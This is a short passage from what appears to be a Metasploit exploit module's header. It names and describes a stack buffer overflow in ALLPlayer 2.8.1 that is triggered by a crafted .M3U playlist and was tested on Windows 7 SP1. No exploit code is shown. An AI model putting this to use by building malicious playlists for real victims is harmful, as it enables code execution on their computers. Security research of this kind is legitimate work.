'Name' => 'ALLPlayer M3U Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in
ALLPlayer 2.8.1, caused by a long string in a playlist entry.
By persuading the victim to open a specially-crafted .M3U file, a
remote attacker could execute arbitrary code on the system or cause
the application to crash. This module has been tested successfully on
Windows 7 SP1.
